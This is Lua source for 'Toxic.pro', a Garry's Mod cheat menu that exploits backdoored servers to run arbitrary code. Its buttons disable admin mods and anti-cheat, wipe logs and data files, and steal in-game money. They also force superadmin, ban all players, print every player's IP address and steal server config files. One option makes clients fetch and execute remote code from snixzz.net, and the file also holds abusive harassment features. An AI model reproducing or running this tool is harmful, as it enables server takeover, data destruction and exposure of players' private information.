frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 ) frame:SetPos( parent:GetWide() + 50, 25 ) frame:SetTitle( "" ) frame:MakePopup() frame:ShowCloseButton( false ) frame:SetDraggable( false ) frame.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) ) draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) ) end local close = vgui.Create( "DButton", frame ) close:SetSize( 50, 20 ) close:SetPos( frame:GetWide() - close:GetWide(), 0 ) close:SetText( "x" ) close:SetTextColor( Color( 255, 255, 255 ) ) close:SetFont( "DebugFixed" ) close.Paint = function() draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) ) end close.DoClick = function() frame:Close() end local html = vgui.Create( "DHTML", frame ) html:SetPos( 5, 30 ) html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 ) html:OpenURL( "https://metastruct.github.io/lua_editor/" ) html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( toxic.LuaStr ) .. "' )" ) html:AddFunction( "gmodinterface", "OnCode", function( code ) -- thanks easychat toxic.LuaStr = code end ) local run = vgui.Create( "DButton", frame ) run:SetSize( 60, 20 ) run:SetPos( 0, 0 ) run:SetText( "Run" ) run:SetTextColor( Color( 255, 255, 255 ) ) run:SetFont( "DebugFixed" ) run.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 62, 168, 255 ) ) end run.DoClick = function() local options = DermaMenu() options:AddOption( "Server", function() toxic.PostLua( toxic.LuaStr ) toxic.Notify( "Ran Lua on server" ) end ):SetImage( "icon16/server.png" ) options:AddOption( "All Clients", function() toxic.PostLua( [[ for k, v in next, player.GetAll() do v:SendLua( ']] .. toxic.LuaStr .. [[' ) end ]] ) toxic.Notify( "Ran Lua on all clients" ) end ):SetImage( "icon16/computer_add.png" ) local players, menu = options:AddSubMenu( "Client" ) menu:SetIcon( "icon16/user.png" ) for k, v in next, player.GetAll() do players:AddOption( v:Nick(), function() local id = v:UserID() toxic.PostLua( [[ local id = ]] .. id .. [[ Player( id ):SendLua( ']] .. toxic.LuaStr .. [[' ) ]] ) toxic.Notify( "Ran Lua on " .. v:Nick() ) end ) end options:Open() end local save = vgui.Create( "DButton", frame ) save:SetSize( 60, 20 ) save:SetPos( run:GetWide() + 5, 0 ) save:SetText( "Save" ) save:SetTextColor( Color( 255, 255, 255 ) ) save:SetFont( "DebugFixed" ) save.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) ) end save.DoClick = function() Derma_StringRequest( "Save file to data/toxic.pro/files/lua", "File name (e.g: aimbot or aimbot.txt)", "", function( text ) if !string.find( text, ".txt" ) then text = text .. ".txt" end file.Write( "toxic.pro/files/lua/" .. text, toxic.LuaStr ) toxic.Notify( "Saved source to data/toxic.pro/files/lua/" .. text ) end ) end local load = vgui.Create( "DButton", frame ) load:SetSize( 60, 20 ) load:SetPos( run:GetWide() + load:GetWide() + 10, 0 ) load:SetText( "Load" ) load:SetTextColor( Color( 255, 255, 255 ) ) load:SetFont( "DebugFixed" ) load.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 168, 148, 62, 255 ) ) end load.DoClick = function() local options = DermaMenu() for k, v in pairs( file.Find( "toxic.pro/files/lua/*.txt", "DATA" ) ) do options:AddOption( v, function() local str = file.Read( "toxic.pro/files/lua/" .. v, "DATA" ) MsgN( str ) toxic.LuaStr = str html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" ) toxic.Notify( "Loaded " .. v ) end ) end options:Open() end end function toxic.UI() toxic.ButtonPos = 30 local frame = vgui.Create( "DFrame" ) frame:SetTitle( "Toxic.pro v" .. toxic.Version .. " | by 0xymoron ~ " .. table.Random( toxic.Aids ) ) frame:SetSize( 550, 400 ) frame:SetPos( 25, 25 ) frame:MakePopup() frame:ShowCloseButton( false ) frame:SetDraggable( false ) frame.Paint = function( self ) local hsv = HSVToColor( RealTime() * 120 % 360, 1, 1 ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( hsv.r, hsv.g, hsv.b, 150 ) ) -- old: Color( 140, 0, 0, 150 ) draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) ) surface.SetFont( "CloseCaption_Bold" ) local str1 = "Toxic.pro Version " .. toxic.Version local str1_width, str1_height = surface.GetTextSize( str1 ) local str2 = "by 0xymoron" local str2_width, str2_height = surface.GetTextSize( str2 ) draw.SimpleText( str1, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, 65, color_white, 1, 1 ) draw.SimpleText( str2, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, frame:GetTall() - str2_height - 25, color_white, 1, 1 ) end local close = vgui.Create( "DButton", frame ) close:SetSize( 50, 20 ) close:SetPos( frame:GetWide() - 50, 0 ) close:SetText( "x" ) close:SetTextColor( Color( 255, 255, 255 ) ) close:SetFont( "DebugFixed" ) close.Paint = function() draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) ) end close.DoClick = function() frame:Close() end local set = vgui.Create( "DButton", frame ) set:SetSize( 40, 20 ) set:SetPos( frame:GetWide() - close:GetWide() - set:GetWide() - 5, 0 ) set:SetText( "Set" ) set:SetTextColor( Color( 255, 255, 255 ) ) set:SetFont( "DebugFixed" ) set.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) ) end local netmsg = vgui.Create( "DTextEntry", frame ) netmsg:SetSize( 75, 20 ) netmsg:SetPos( frame:GetWide() - close:GetWide() - netmsg:GetWide() - set:GetWide() - 10, 0 ) netmsg:SetText( blackdoor ) netmsg.OnEnter = function( self ) toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" ) blackdoor = self:GetValue() end set.DoClick = function( self ) blackdoor = netmsg:GetValue() toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" ) end local panel = vgui.Create( "DScrollPanel", frame ) panel:SetPos( 5, 30 ) panel:SetSize( 150, frame:GetTall() - 35 ) local html = vgui.Create( "HTML", frame ) html:SetPos( panel:GetWide() + 20, 95 ) html:SetSize( 240, 215 ) html:SetHTML( [[ <img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;"> ]] ) /************************************** Player Management ***************************************/ local dlist = vgui.Create( "DListView", frame ) dlist:SetSize( 140, frame:GetTall() - 35 ) dlist:SetPos( frame:GetWide() - dlist:GetWide() - 5, 30 ) dlist:SetMultiSelect( false ) dlist:AddColumn( "Players" ) for k, v in next, player.GetAll() do dlist:AddLine( v:Nick() ) end dlist.OnClickLine = function( parent, line, self ) for k, v in next, player.GetAll() do if v:Nick() == line:GetValue( 1 ) then dlist.SelectedEntity = v else continue end end end dlist.OnRowRightClick = function( parent, line, isselected ) surface.PlaySound( "buttons/button9.wav" ) local id = dlist.SelectedEntity:UserID() local target = Player( id ) local options = DermaMenu() options:AddOption( "Kick", function() toxic.PostLua( [[ Player( ]] .. id .. [[ ):Kick() ]] ) toxic.Notify( "Kicked " .. target:Nick() ) if dlist then dlist:RemoveLine( line ) end end ):SetImage( "icon16/door_out.png" ) options:AddOption( "Silent Slay", function() toxic.PostLua( [[ Player( ]] .. id .. [[ ):KillSilent() ]] ) toxic.Notify( "Silently slayed " .. target:Nick() ) end ):SetImage( "icon16/lightning.png" ) options:AddOption( "Freeze", function() toxic.PostLua( [[ local ply = Player( ]] .. id .. [[ ) ply:Freeze( !ply:IsFrozen() ) ]] ) if !target:IsFrozen() then toxic.Notify( "Froze " .. target:Nick() ) else toxic.Notify( "Unfroze " .. target:Nick() ) end end ):SetImage( "icon16/tux.png" ) options:AddOption( "Give Weapon", function() Derma_StringRequest( "Give " .. target:Nick() .. " a weapon", "What weapon? (example: weapon_ak47)", "", function( text ) toxic.PostLua( [[ local str = "]] .. text .. [[" Player( ]] .. id .. [[ ):Give( str ) ]] ) toxic.Notify( "Gave " .. target:Nick() .. " a " .. text ) end ) end ):SetImage( "icon16/bomb.png" ) options:AddOption( "Give Money", function() Derma_StringRequest( "Give " .. target:Nick() .. " money", "How much?", "", function( text ) if !isnumber( tonumber( text ) ) then return end toxic.PostLua( [[ local str = "]] .. text .. [[" str = tonumber( str ) Player( ]] .. id .. [[ ):addMoney( str ) ]] ) toxic.Notify( "Gave " .. target:Nick() .. " $" .. string.Comma( text ) ) end ) end ):SetImage( "icon16/money_add.png" ) options:AddOption( "Inject Toxic.pro", function() local snd = table.Random( { "vo/npc/male01/herecomehacks01.wav","vo/npc/male01/herecomehacks02.wav" } ) -- stfu toxic.PostLua( [[ Player(]] .. id .. [[):SendLua('http.Fetch("http://snixzz.net/toxic.pro/toxic.lua",function(body) RunString(body) surface.PlaySound("]] .. snd .. [[") chat.AddText(Color(255,0,0),"[Toxic.pro] ",color_white,"Welcome, run `toxic.pro` in console") end)') ]] ) toxic.Notify( "Injected Toxic.pro into " .. target:Nick() .. "'s client." ) end ):SetImage( "icon16/bug_add.png" ) options:Open() end /************************************** Buttons ***************************************/ toxic.AddCategorySpacer( "Prevention", Color( 255, 0, 0 ), panel ) toxic.AddButton( "Break ULX", panel, function() toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]]) toxic.Notify( "Broke ULX, admins now have no control." ) end ) toxic.AddButton( "Break FAdmin", panel, function() toxic.PostLua( [[ _G.FAdmin = function() end ]] ) toxic.Notify( "Killed FAdmin" ) end ) toxic.AddButton( "Wipe Logs", panel, function() local date = os.date( "%m-%d-%y" ) toxic.PostLua( [[ file.Delete( "ulx_logs/]] .. date .. [[.txt" ) ]] ) toxic.Notify( "Deleted data/ulx_logs/" .. date .. ".txt" ) end ) toxic.AddButton( "Wipe data/", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ local dirs = { "ulx", "ulx_logs", "ulib", "darkrp_logs", "adv_duplicator", "advdupe2", "cpuchip", "expression2", "cw2_0", } for k, v in pairs( dirs ) do for dir, _file in pairs( file.Find( v .. "/*", "DATA" ) ) do file.Delete( v .. "/" .. _file ) Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v .. "/" .. _file ) end end for k, v in pairs( file.Find( "*", "DATA" ) ) do file.Delete( v ) Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v ) end ]] ) end ) toxic.AddButton( "No Kick/Ban", panel, function() toxic.PostLua( [[ _R = debug.getregistry() function game.KickID( id, reason ) return end function _R.Player.Ban() return end function _R.Player.Kick() return end ]] ) toxic.Notify( "Nulled _R.Player.Ban & _R.Player.Kick" ) end ) toxic.AddButton( "Disable !cake", panel, function() toxic.PostLua( [[ _G.cac = function() end]] ) toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." ) end ) toxic.AddCategorySpacer( "DarkRP", Color( 0, 200, 0 ), panel ) toxic.AddButton( "Steal Money", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ for k, v in next, player.GetAll() do if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then continue end local bal = v:getDarkRPVar( "money" ) or 9999999 v:addMoney( -bal ) Player( id ):addMoney( bal ) Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() ) end ]] ) end ) toxic.AddButton( "Wipe All Money", panel, function() toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] ) toxic.Notify( "Wiped DarkRP money database" ) end ) toxic.AddButton( "Change All Names", panel, function() Derma_StringRequest( "Name Changer", "What would you like to name everyone?", "", function( text ) toxic.PostLua( [[ local str = "]] .. text .. [[" for k, v in next, player.GetAll() do DarkRP.storeRPName( v, str ) v:setDarkRPVar( "rpname", str ) end ]] ) toxic.Notify( "Renamed everyone to '" .. text .. "'" ) end ) end ) toxic.AddButton( "Strip Weapons", panel, function() for k, v in next, player.GetAll() do for x, y in pairs( v:GetWeapons() ) do net.Start( "properties" ) net.WriteString( "remove", 32 ) net.WriteEntity( y ) net.SendToServer() end end toxic.Notify( "Attempted to use net 'properties' exploit to strip all players." ) end ) toxic.AddCategorySpacer( "Autism", Color( 200, 0, 200 ), panel ) toxic.AddButton( "Visual Rape", panel, function() -- I don't like this. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/boss.mp3', 'mono', function( s ) s:Play() end )]] ) end" ) -- I don't like any of this. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://snixzz.net/toxic.pro/disco.lua', function( body ) RunString( body ) end )]] ) end" ) end ) toxic.AddButton( "Earthquake", panel, function() toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" ) toxic.Notify( "Earthquake started." ) end ) toxic.AddButton( "Horse", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ Player( id ):SetModel( "models/props_c17/statue_horse.mdl" ) Player( id ):SetMaterial( "models/debug/debugwhite" ) hook.Add( "Think", "horse", function() if !IsValid( Player( id ) ) then return end Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) ) end ) ]] ) end ) toxic.AddButton( "Footsteps", panel, function() toxic.PostLua( [[ hook.Add( "PlayerFootstep", "oooh", function( ply ) ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) ) end ) ]] ) toxic.Notify( "Enabled moaning footsteps." ) end ) toxic.AddButton( "Spam .txt", panel, function() Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text ) toxic.PostLua( [[ for i = 1, 100 do file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" ) end ]] ) toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" ) end ) end ) toxic.AddButton( "Spam Chat", panel, function() Derma_StringRequest( "Message", "Chat Message", "SEIZED BY TOXIC.PRO", function( text ) toxic.PostLua( [[ util.AddNetworkString("chat_AddText") chat = {} function chat.AddText(...) net.Start("chat_AddText") net.WriteTable({...}) net.Broadcast() end function AddTextPly( ply, ...) net.Start("chat_AddText") net.WriteTable({...}) net.Send( ply ) end for k, v in pairs( player.GetAll() ) do v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' ) end timer.Create( "gotEm", 1, 120, function() local function ChatPrintRainbow( frequency, str ) local text = {} for i = 1, #str do table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) ) table.insert( text, string.sub( str, i, i ) ) end chat.AddText( unpack( text ) ) end ChatPrintRainbow( 10, "]] .. text .. [[" ) end ) ]] ) end ) end ) /*toxic.AddButton( "Spam Advert", panel, function() Derma_StringRequest( "Message", "Spam Message", "SEIZED BY TOXIC.PRO", function( text ) toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ local why = ]] .. text .. [[ timer.Create( "gotEm2", 1, 120, function() for k, v in next, player.GetAll() do v:SetNWString( "why", why ) v:SendLua( 'RunConsoleCommand("say","/advert",LocalPlayer():GetNWString("why"))') end end ) ]] ) end ) end )*/ toxic.AddButton( "Dance", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ timer.Create( "gotEm3?", 1, 120, function() for k, v in next, player.GetAll() do if v:UserID() == v then continue end v:SendLua('RunConsoleCommand("act","dance")') end end ) ]] ) toxic.Notify( "Forcing all players to run act dance" ) end ) toxic.AddCategorySpacer( "Takeover", Color( 255, 150, 0 ), panel ) toxic.AddButton( "Give Superadmin", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ Player( id ):SetUserGroup( "superadmin" ) ]] ) toxic.Notify( "Attempted to silently force superadmin." ) end ) toxic.AddButton( "Print All IPs", panel, function() toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ for k, v in pairs( player.GetAll() ) do Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() ) end ]] ) toxic.Notify( "Printed all IPs into chat." ) end ) toxic.AddButton( "Ban Everyone", panel, function() Derma_StringRequest( "Toxic.pro Ban All", "Reason", "", function( text ) toxic.PostLua( [[ local id = ]] .. LocalPlayer():UserID() .. [[ for k, v in next, player.GetAll() do if v:UserID() == id then continue end v:Ban( 0, false ) v:Kick( "]] .. tostring( text ) .. [[" ) end ]] ) toxic.Notify( "Banned everyone for '" .. text .. "'" ) end ) end ) toxic.AddButton( "RCON", panel, function() Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text ) toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] ) toxic.Notify( "Ran command '" .. text .. "'" ) end ) end ) toxic.AddButton( "Lua Run", panel, function() toxic.OpenLuaEditor( frame ) /*Derma_StringRequest( "Toxic.pro Lua Run", "Lua String", "", function( text ) toxic.PostLua( [[RunString( ']] .. text .. [[' )]] ) toxic.Notify( "Ran Lua '" .. text .. "'" ) end )*/ end ) toxic.AddButton( "Rename Server", panel, function() toxic.PostLua( [[RunConsoleCommand( "hostname", "TOXIC.PRO" )]] ) toxic.Notify( "Renamed server to TOXIC.PRO" ) end ) toxic.AddButton( "Steal File", panel, function() Derma_StringRequest( "Steal File Source", "File Path (Relative to garrysmod/) e.g: cfg/server.cfg", "", function( text ) net.Receive( "file", function( len ) local str = net.ReadString() if str != "ERROR" then toxic.OpenTextDocument( text, str, frame ) else toxic.Notify( "Unable to find file " .. text .. " on the server" ) end end ) toxic.PostLua( [[ util.AddNetworkString( "file" ) local id = ]] .. LocalPlayer():UserID() .. [[ local f = file.Open( "]] .. text .. [[", "r", "GAME" ) if !f then net.Start( "file" ) net.WriteString( "ERROR" ) net.Send( Player( id ) ) return end local str = f:Read( f:Size() ) f:Close() net.Start( "file" ) net.WriteString( str ) net.Send( Player( id ) ) ]] ) toxic.Notify( "Attempted to steal file " .. text ) end ) end ) end toxic.Init() concommand.Add( "toxic.pro", toxic.UI )